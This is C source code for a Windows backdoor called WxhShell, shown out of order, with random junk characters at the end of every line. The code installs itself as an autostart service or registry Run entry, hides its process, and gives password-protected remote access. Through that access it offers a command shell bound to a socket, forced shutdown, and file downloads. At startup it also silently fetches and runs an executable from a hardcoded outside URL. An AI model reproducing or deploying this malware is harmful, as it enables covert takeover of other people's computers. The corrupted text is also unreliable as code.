  // 关机 r2-iISxg+  
  case 'd': { ] K$YtM^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7^eyO&4z  
    if(Boot(SHUTDOWN)) JipNI8\r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3z[;&*3O  
    else { Rl?1|$%  
    closesocket(wsh); .9J^\%JD  
    ExitThread(0); y ``\^F  
    } JRl=j2z  
    break; H$`U] =s|  
    } \c_g9Iqa  
  // 获取shell ;s +/'(*  
  case 's': { OSBR2Z;=  
    CmdShell(wsh); M':-f3aT%  
    closesocket(wsh); V:\:[KcL^  
    ExitThread(0); csP4Oq\g[  
    break; A8% e _XA  
  } lc,k-}n  
  // 退出 m?e/MQr  
  case 'x': {  u r$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x@NfN*?/+i  
    CloseIt(wsh); .p[uIRd`  
    break; Kb;*"@LX  
    } WtOjPW  
  // 离开 g}_2T\$k  
  case 'q': { %1?t)Bg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _XZ Gj:V  
    closesocket(wsh); lp`j3)  
    WSACleanup(); ;4 ;gaf  
    exit(1); ?8~l+m6s$  
    break; 9UM)"I&k  
        } H:.~! r  
  } iw)gNQ%z4  
  } !>48`o ^  
X!KX4H  
  // 提示信息 Cl0kR3Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MCE@EFD`\  
} q{w|`vIb  
  } |"*P`C=  
\K$\-]N+  
  return; ;\pr05  
} 8m+~HSIR  
gj^)T_E_  
// shell模块句柄 F_@B ` ,  
int CmdShell(SOCKET sock) e{x>u(  
{ b|i4me@  
STARTUPINFO si; ~XR ('}5D  
ZeroMemory(&si,sizeof(si)); |lNp0b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 72l:[5ccR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }a"=K%b<\  
PROCESS_INFORMATION ProcessInfo; A$2 ;Bf  
char cmdline[]="cmd"; 64'2ICf#m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O=%Ht-kOc  
  return 0; r_+Vb*|Y  
} )Jt. Z^J<  
]L3U2H`7  
// 自身启动模式 WJ8i=MO67  
int StartFromService(void) $%EX~$=m]-  
{ h0F=5| B  
typedef struct { j_-iF  
{ ]xRR/S4  
  DWORD ExitStatus; , Q0Y} )  
  DWORD PebBaseAddress; ?`+VWa[,e  
  DWORD AffinityMask; \GEz.Vb  
  DWORD BasePriority; :!Ci#[g  
  ULONG UniqueProcessId; OU{c| O  
  ULONG InheritedFromUniqueProcessId; Kw-<o!~  
}   PROCESS_BASIC_INFORMATION; `+w= p7ET  
It3k#A0  
PROCNTQSIP NtQueryInformationProcess; k]ZE j/y~  
;1&"]N%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! $JX3mP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gP>pb W_  
C@a I*+@-"  
  HANDLE             hProcess; Ou[`)|>  
  PROCESS_BASIC_INFORMATION pbi; &$s:h5HoX  
lw3H 8[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zY/Oh9`=v  
  if(NULL == hInst ) return 0; xd{.\!q.  
i$kB6B#==  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5WI bnV@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d>[i*u,]/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b36{vcs~  
2)IM<rf'^  
  if (!NtQueryInformationProcess) return 0; #?)6^uTW  
j \r GU){  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b_sasZo  
  if(!hProcess) return 0; SY Bp-o  
t,YRM$P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6aB]&WO1@  
e6p3!)@P1  
  CloseHandle(hProcess); sqhMnDn[  
M"*NV(".g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d'(n/9K  
if(hProcess==NULL) return 0; WWSycH ?[  
b'pwRKpx  
HMODULE hMod; _#\Nw0{  
char procName[255]; lL zR5445)  
unsigned long cbNeeded; < }K9 50  
]s Euh~F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |ru!C(  
r(S h  
  CloseHandle(hProcess); eFsl  
gq?O}gVD  
if(strstr(procName,"services")) return 1; // 以服务启动 )VQ[}iT  
UXji$|ET6  
  return 0; // 注册表启动 DOu^   
} GyL9}  
oI#TjF  
// 主模块 +788aK,{#  
int StartWxhshell(LPSTR lpCmdLine) =w`Mc\o"  
{ 6W_:w  
  SOCKET wsl; g@ J F  
BOOL val=TRUE; <yl@!-'J7  
  int port=0; OGcdv{ ,P  
  struct sockaddr_in door; qGq]E `O  
A< .5=E,/  
  if(wscfg.ws_autoins) Install(); L:C/PnIV  
g5U,   
port=atoi(lpCmdLine); MR|A_e^x  
t,LK92?  
if(port<=0) port=wscfg.ws_port; &n,v@ gt  
XR",.3LD  
  WSADATA data; Pfs_tu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,R=!ts[qi  
-W6@[5c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B^9C}QB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sm[#L`eqW  
  door.sin_family = AF_INET; hqeknTGsIn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +6>2= ,?Z  
  door.sin_port = htons(port); r1F5'?NZ(0  
G\tN(%.f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mNC?kp  
closesocket(wsl); @5&57R3>  
return 1; gGE{r}$  
} W/A@qo"  
sT=|"H?  
  if(listen(wsl,2) == INVALID_SOCKET) { X"3p/!W.4  
closesocket(wsl); Q}Ah{H0C  
return 1; n7i~^nf>  
} ]*]*O|w  
  Wxhshell(wsl); ;Qy Ew5  
  WSACleanup(); 8;`B3N7  
n<|8Onw  
return 0; d_(;sW"I  
<zY#qFQ2  
} V|A.M-XLv4  
oeKl\cgFx  
// 以NT服务方式启动 Q~"Lyy8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Q W^v;^  
{ SeZ+&d  
DWORD   status = 0; el<Gd.p.d  
  DWORD   specificError = 0xfffffff; 1\Bh-tzB  
)+v5 H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %@(+`CCA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #k<l5x`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {R(/Usg!=  
  serviceStatus.dwWin32ExitCode     = 0; A' ![*O  
  serviceStatus.dwServiceSpecificExitCode = 0; fN{wP,jI  
  serviceStatus.dwCheckPoint       = 0; }JOz,SQHP  
  serviceStatus.dwWaitHint       = 0; O:+y/c  
/(||9\;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^xk4HF   
  if (hServiceStatusHandle==0) return; ;s~xS*(C  
ZwxEcs+UM  
status = GetLastError(); OWz{WV.  
  if (status!=NO_ERROR) R4)l4rnO  
{ 6`7`herE}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ \+0e:Ae  
    serviceStatus.dwCheckPoint       = 0; ?mV2|;  
    serviceStatus.dwWaitHint       = 0; OWfB8*4@  
    serviceStatus.dwWin32ExitCode     = status; Te!eM{_$T  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9(X~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !<h9XccN  
    return; f dJg7r*  
  } LDw.2E  
zZ9Ei-Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2N-p97"g  
  serviceStatus.dwCheckPoint       = 0; k^JgCC+  
  serviceStatus.dwWaitHint       = 0; G@e;ms1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EhD%  
} h`Ej>O7m  
=|O]X|y-lZ  
// 处理NT服务事件,比如:启动、停止 >yenuqIKQv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b* n#XTV  
{ H9_>a-> )~  
switch(fdwControl) L kafB2y  
{ Eb5>c/(  
case SERVICE_CONTROL_STOP: UC`sq-n  
  serviceStatus.dwWin32ExitCode = 0; ?3LV$S)U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uFuH/(}K[  
  serviceStatus.dwCheckPoint   = 0; Pvv7|AV   
  serviceStatus.dwWaitHint     = 0; mGwJ>'+d  
  { ^eoW+OxH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/B/|x  
  } }#g &l*P  
  return; V/\`:  
case SERVICE_CONTROL_PAUSE: l YdATM(h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8% ; .H-  
  break; Ozulp(8*  
case SERVICE_CONTROL_CONTINUE: 3 ?gfDJfE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |J-tU)|1vl  
  break; B}y#AVSA  
case SERVICE_CONTROL_INTERROGATE: _MQh<,Z8  
  break; 9l[C&0w#\  
}; d]_].D$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tT A  
} !oRN,m[7)p  
Pr1OQbg]8  
// 标准应用程序主函数 cjLA7I.O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M_?B*QZJI  
{ pxbuZ9w2Q  
1_xkGc-z<  
// 获取操作系统版本 4 q % Gc  
OsIsNt=GetOsVer(); <|3F('Q"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , P1m#  
J| 46i  
  // 从命令行安装 2c,w 4rK  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2nFr?Y3g,  
I?q- :9:  
  // 下载执行文件 E-9>lb  
if(wscfg.ws_downexe) { ~T._ v;IT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H11@ DQ6  
  WinExec(wscfg.ws_filenam,SW_HIDE); I#F, Mb>:  
} Q &&=:97d  
Zic:d-Q47  
if(!OsIsNt) { {poTA+i  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;]BNc"  
HideProc(); mCI5^%*0jQ  
StartWxhshell(lpCmdLine); O"[#g  
} .(Z^}  
else ~2NT Xp  
  if(StartFromService()) 8M['-  
  // 以服务方式启动 !*wd d8   
  StartServiceCtrlDispatcher(DispatchTable); m KKa0"  
else -&y&b-  
  // 普通方式启动 UBuG12U4Y  
  StartWxhshell(lpCmdLine); <qoPBm])  
c!$~_?]  
return 0; 1JGww]JZo  
} {v3@g[:|  
MzW!iG  
wC<FF2T  
85H*Xm?d#  
=========================================== zs-,Y@ZL  
cnDBT3$~Z  
pL.~z  
v`jFWq8I,  
WK SWOSJ  
3\B~`=*q/  
" LKud'  
!?B2OE  
#include <stdio.h> @nj`T{*.  
#include <string.h> r_V^sX  
#include <windows.h> Ys5I qj=mp  
#include <winsock2.h> gFM~M(  
#include <winsvc.h> >ZAn2s  
#include <urlmon.h> ' b,zE[Q  
T!pHT'J  
#pragma comment (lib, "Ws2_32.lib") 9\r5&#<(I  
#pragma comment (lib, "urlmon.lib") *; 6LX  
-,"eN}P^  
#define MAX_USER   100 // 最大客户端连接数 fb!>@@9Z  
#define BUF_SOCK   200 // sock buffer 8L))@SA+uJ  
#define KEY_BUFF   255 // 输入 buffer w (,x{Bg\  
*ul-D42!U  
#define REBOOT     0   // 重启 UXS+GAWU  
#define SHUTDOWN   1   // 关机 p!(]`N   
cPl$N5/5  
#define DEF_PORT   5000 // 监听端口 cc3+ Wx_  
_ =(v? 2:?  
#define REG_LEN     16   // 注册表键长度 K+U0YMRmz  
#define SVC_LEN     80   // NT服务名长度 cn ;2&  
ns[h_g!j;  
// 从dll定义API *^%ohCU i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %G]WOq=q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `]2y=f<{X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N1]P3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wc/B_F?2  
Dd,]Y}P  
// wxhshell配置信息 C:}"?tri  
struct WSCFG { .18MMzdN  
  int ws_port;         // 监听端口 ];Bk|xJ/>  
  char ws_passstr[REG_LEN]; // 口令 qS[nf>"  
  int ws_autoins;       // 安装标记, 1=yes 0=no VC NQ}h[D  
  char ws_regname[REG_LEN]; // 注册表键名 &Mh]s\  
  char ws_svcname[REG_LEN]; // 服务名 2CPh'7|l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _4t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k'd=|U;(FV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T!H }^v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4V5h1/JPm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nu%MXu+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sTYA  
<(o) * Zmo  
}; z`y^o*qc]  
){i 9,u")  
// default Wxhshell configuration  u+]8Sq  
struct WSCFG wscfg={DEF_PORT, s !HOrhV  
    "xuhuanlingzhe", L q;=UE  
    1, kAk+ Sq^n  
    "Wxhshell", Czd)AVK  
    "Wxhshell", ^pvnUODW[  
            "WxhShell Service", ^{+_PWn  
    "Wrsky Windows CmdShell Service", ?w"zW6U  
    "Please Input Your Password: ", Mg {=(No  
  1, 1&YkRCn0  
  "http://www.wrsky.com/wxhshell.exe", pU@ &-  
  "Wxhshell.exe" @w[HXb  
    }; bjs{_?  
V)Y#m/$`  
// 消息定义模块 3gba~}c)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +C[%^G-:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O>2i)M-h9x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <SNu`,/I  
char *msg_ws_ext="\n\rExit."; (yhnv Z  
char *msg_ws_end="\n\rQuit."; ;ywUl`d  
char *msg_ws_boot="\n\rReboot..."; nTPq|=C  
char *msg_ws_poff="\n\rShutdown..."; 6t`cY  
char *msg_ws_down="\n\rSave to "; 69{q*qCW  
Wc{/K6]f  
char *msg_ws_err="\n\rErr!"; H<wkD9v}H5  
char *msg_ws_ok="\n\rOK!"; q{+Pf/M5  
-Y/c]g  
char ExeFile[MAX_PATH]; N/N~>7f  
int nUser = 0; *#CUZJN\  
HANDLE handles[MAX_USER]; 7 +kU8}  
int OsIsNt; $2pkh%  
(K|7T{B  
SERVICE_STATUS       serviceStatus; :pgpE0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &qae+p?  
[#C(^J*@c  
// 函数声明 .L}k-8  
int Install(void); 5'[b:YC  
int Uninstall(void); #qdfr3  
int DownloadFile(char *sURL, SOCKET wsh); CR'1,  
int Boot(int flag); j q1 |`:  
void HideProc(void); >Y"Ru#Ju9  
int GetOsVer(void); {3*Zx"e![  
int Wxhshell(SOCKET wsl); >du|DZq  
void TalkWithClient(void *cs); @  M  
int CmdShell(SOCKET sock); o0F&,|'  
int StartFromService(void); aO$I|!tl  
int StartWxhshell(LPSTR lpCmdLine); '@,M 'H{  
E4N{;'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h_K!ch }  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v_e3ZA:%  
c^EU &q{4  
// 数据结构和表定义 F>s5<pKAX  
SERVICE_TABLE_ENTRY DispatchTable[] = Fhk`qh'i  
{ qO}Q4a+  
{wscfg.ws_svcname, NTServiceMain}, oD&axNk  
{NULL, NULL}  <]h?_)  
}; &O.lIj#F R  
=2.q=a|'  
// 自我安装 [,/~*L;7  
int Install(void) (od9adSehV  
{ *t,1(Gw|7q  
  char svExeFile[MAX_PATH]; ,\=,,1_  
  HKEY key; n]fMl:77  
  strcpy(svExeFile,ExeFile); w j<fi  
6k*,Yei  
// 如果是win9x系统,修改注册表设为自启动 Ni-@El99  
if(!OsIsNt) { g.T:72"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { swLrp 74  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8XdgtYm  
  RegCloseKey(key); U/9_:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \*5${[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8t >nL  
  RegCloseKey(key); 6_kv~`"tZ  
  return 0; nb}rfd.  
    } -|_MC^)  
  } Y2Y)|<FH  
} b]k9c1x  
else { M.?[Xpa  
B6xM#)  
// 如果是NT以上系统,安装为系统服务 bn6WvC 3?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <3C/t|s  
if (schSCManager!=0) ,IDCbJ  
{ =`Lci1#pu}  
  SC_HANDLE schService = CreateService Dg o -Os@  
  ( TNkvdE-S  
  schSCManager, fuF!3Q  
  wscfg.ws_svcname, 3  G_0DS  
  wscfg.ws_svcdisp, 6w)a.^yx7  
  SERVICE_ALL_ACCESS,  jWqjGX`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \x;`8H  
  SERVICE_AUTO_START, Bw25+l Px  
  SERVICE_ERROR_NORMAL, ="J *v>  
  svExeFile, YML]pNB  
  NULL, a(oa?OdJ  
  NULL, u4vyj#V  
  NULL, uJ T^=Y  
  NULL, iqr/MB,W  
  NULL omzG/)M:O  
  ); K2 6`wt  
  if (schService!=0) Zi= /w  
  { 1U6 z2i+y  
  CloseServiceHandle(schService); _kXq0~  
  CloseServiceHandle(schSCManager); K$/&C:,Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !\5w<*p8  
  strcat(svExeFile,wscfg.ws_svcname); liU8OXBl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &OsO _F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <sli!rv  
  RegCloseKey(key); y,s`[=CT  
  return 0; i8->3uB  
    } ,9Si 3vn  
  } a]nK!;>$  
  CloseServiceHandle(schSCManager); ?/|KM8  
} '8w>=9Xl  
} K*S3{s%UR  
MUn(ZnQy|  
return 1; `Vl9/IEk  
} YJu~iQ`i  
{;vLM* '  
// 自我卸载 03H0(ku=  
int Uninstall(void) <NWq0 3:&  
{ ZXl_cq2r  
  HKEY key; Hg5 :>?Lw@  
+h08uo5c  
if(!OsIsNt) { LS]0p#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E.N  
  RegDeleteValue(key,wscfg.ws_regname); #f<3[BLx  
  RegCloseKey(key); S`8Iu[Ma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 76cLf~|d~  
  RegDeleteValue(key,wscfg.ws_regname); 50""n7I<%  
  RegCloseKey(key); T/]f5/  
  return 0; .tcdqL-'  
  } @ Fkhida  
} rld8hFj  
} VYjt/\ Z  
else { {$g3R@f^~  
AVi&cvhs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nvQTJ4,,  
if (schSCManager!=0) h8dFW"cpC  
{ LhRd0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Swr4De_5  
  if (schService!=0) QQJf;p7  
  { 3 3zE5vr  
  if(DeleteService(schService)!=0) { h:RP/ 0E  
  CloseServiceHandle(schService); }i{A4f `  
  CloseServiceHandle(schSCManager); <*(^QOM  
  return 0; l];/,J^  
  } 6n^@Ps  
  CloseServiceHandle(schService); RdBIbm  
  } "+E\os72|  
  CloseServiceHandle(schSCManager); _iL?kf  
} -Xx4:S  
} pX+4B=*  
S$ffTdRz  
return 1; Y (p Ud3y  
} T+e*'<!O  
.cm2L,1h  
// 从指定url下载文件 "VDMO^  
int DownloadFile(char *sURL, SOCKET wsh) m?kyAW'|  
{ yzT4D>1,  
  HRESULT hr; =f!clhO  
char seps[]= "/"; YjH~8==  
char *token; >, [@SF%  
char *file; q=}1ud}1  
char myURL[MAX_PATH]; Xv3pKf-K  
char myFILE[MAX_PATH];  TJ1h[  
Wy%FF\D.Y  
strcpy(myURL,sURL); 6$[7hlE  
  token=strtok(myURL,seps); U*b7 Pxq;  
  while(token!=NULL) zz /4 ()u  
  { 3)yL#hXg)  
    file=token; xHMFYt+0$G  
  token=strtok(NULL,seps); | kP utB  
  } SL-;h#-y 4  
PD&gC88  
GetCurrentDirectory(MAX_PATH,myFILE); hHHQmK<r  
strcat(myFILE, "\\"); axpZ`BUc  
strcat(myFILE, file); )+R n[MMp  
  send(wsh,myFILE,strlen(myFILE),0); wZs 2 aa  
send(wsh,"...",3,0); qV6WT&)T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hJsP;y:@Lm  
  if(hr==S_OK) [dAQrou6P  
return 0; QFMA y>Gdn  
else =3 Vug2*wd  
return 1; YZ`SF"Bd(  
K_@?Q@#YhR  
} :AS`1\ C  
K8R>O *~  
// 系统电源模块 -Caj>K  
int Boot(int flag) Q;J( 5;  
{ ?xrOhA9  
  HANDLE hToken; 7B)1U_L0H  
  TOKEN_PRIVILEGES tkp; d$jwh(Ivs  
}opw_h+/F  
  if(OsIsNt) { Ulx]4;uzf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fbU3-L?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k%FA:ms|k  
    tkp.PrivilegeCount = 1; GX0zirz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y pyKRsx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Px&_6}YWy  
if(flag==REBOOT) { 1I{8 |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "i\#L`TkzX  
  return 0; A&bj l[s  
} 3 ye  
else { x-e6[_F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lm=;Y6'`N  
  return 0; X fqhD&g  
} fP V n;  
  } U3N9O.VC  
  else { }Uwji  
if(flag==REBOOT) { DL?nvH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vj]>X4'i  
  return 0; g (WP  
} L-!1ybB^  
else { S YDE`-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r:;.?f@  
  return 0; F,{mF2U*$  
} KVJ, a  
} (Xcy/QT  
? ep#s$i  
return 1; bD{k=jum  
} f+Sb> $  
-~|{q)!F  
// win9x进程隐藏模块 c#sHnpP  
void HideProc(void) YT Zi[/  
{ &8z<~q  
d.^g#&h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (XQuRL<X  
  if ( hKernel != NULL ) 6:O<k2=2  
  { }}{n|l+R5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8v4 o+w P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #5Z`Q^  
    FreeLibrary(hKernel); IF|6iKCE  
  } yjg&/6  
b1Kt SRLV  
return; *Bq}.Yn  
} s:Ml\['x  
1XMR7liE  
// 获取操作系统版本 8&)v%TX  
int GetOsVer(void) 1(Ta*"(0Ip  
{ G$+v |z  
  OSVERSIONINFO winfo; $KO2+^%y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LWN {  
  GetVersionEx(&winfo); jb -kg</A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B-R#?Xn:!I  
  return 1; sa(.Anmlj  
  else `;E/\eG"  
  return 0; ( %\7dxiK  
} $+!dP{   
ba);f[>  
// 客户端句柄模块 g4$(%]  
int Wxhshell(SOCKET wsl) n%s%i-[5B  
{ \A"o[A2v  
  SOCKET wsh; by X!,  
  struct sockaddr_in client; %,kP_[!>Q  
  DWORD myID;  :^.wjUI  
hPDKxYD]f  
  while(nUser<MAX_USER) FM >ae-L-  
{ [d6!  
  int nSize=sizeof(client); b}3"v(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e "A"  
  if(wsh==INVALID_SOCKET) return 1; qk1jmr  
`za,sRFR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g[3LPKQ  
if(handles[nUser]==0) ]R#:Bq!F  
  closesocket(wsh); ~ELMLwn.  
else qW0:q.   
  nUser++; 8AuBs;i  
  } ] 3"t]U'f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c+9L6}D  
2 }r=DAe0  
  return 0; ff\~`n~WZ  
} XH"+oW  
:"\,iH  
// 关闭 socket * x/!i^  
void CloseIt(SOCKET wsh) wZiUzS ;v  
{ :$MOdLr  
closesocket(wsh); I6W`yh`I)  
nUser--; z1PwupXt1  
ExitThread(0); <Kd(fFe  
} NXU:b"G S  
V&M*,#(?  
// 客户端请求句柄 3'0Pl8  
void TalkWithClient(void *cs) _rT\?//B  
{  `Vb  
`6D?te  
  SOCKET wsh=(SOCKET)cs; J:L+q} A  
  char pwd[SVC_LEN]; MzJCiX^  
  char cmd[KEY_BUFF]; AK2Gm-hHK  
char chr[1]; 6pt_cpbR  
int i,j; mL{P4a 1xf  
 `Y#At3{  
  while (nUser < MAX_USER) { 5Q?Jm~H9  
$KiCs]I+  
if(wscfg.ws_passstr) { Oj5UG*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &O&HczO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k$w~JO!s  
  //ZeroMemory(pwd,KEY_BUFF); EKwQ$?I  
      i=0; &S,D;uhF  
  while(i<SVC_LEN) { LVj 1NP  
8M,*w6P  
  // 设置超时 eqo0{e  
  fd_set FdRead; !eLj + 0  
  struct timeval TimeOut; ;c(a)_1  
  FD_ZERO(&FdRead); |*&l?S  
  FD_SET(wsh,&FdRead); 9y7N}T6  
  TimeOut.tv_sec=8; J D\tt-  
  TimeOut.tv_usec=0; 2/LSB8n|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k~Ex_2;#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'cW^S7  
wVs?E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -@W9+Zf5  
  pwd=chr[0]; ,fkvvM{mq  
  if(chr[0]==0xd || chr[0]==0xa) { Td=4V,BN  
  pwd=0; 8\n3 i"  
  break; #~*v##^vFH  
  } )h{&O ,s  
  i++; )`\hK  
    } xY^sC56Z  
)g0lI  
  // 如果是非法用户,关闭 socket h0GoF A<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m&.LJ*uM\K  
} CRb8WD6.  
RLmOg{L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WE<?y_0y&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N9e'jM>Oos  
!#tVQ2O  
while(1) { &`"DG$N(  
$*yYmF  
  ZeroMemory(cmd,KEY_BUFF); *]6g-E?:@  
o.+;]i}D  
      // 自动支持客户端 telnet标准   BuJo W@)  
  j=0; NB-dlv1  
  while(j<KEY_BUFF) { n ~t{]if"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bz4Gzp'6k  
  cmd[j]=chr[0]; 1Ms[$$b$  
  if(chr[0]==0xa || chr[0]==0xd) { K$CC ~,D  
  cmd[j]=0; zC?' Qiuh*  
  break; d+9V% T  
  } ]ss[n.T0*  
  j++; LD$5KaOW  
    } Z*,e<zNQ  
Av X1*  
  // 下载文件 N'Gq9A  
  if(strstr(cmd,"http://")) { ~f/|bcep  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Vat@e  
  if(DownloadFile(cmd,wsh)) Wh[QR-7Ew  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [BWq9uE  
  else vCzZjGBY  
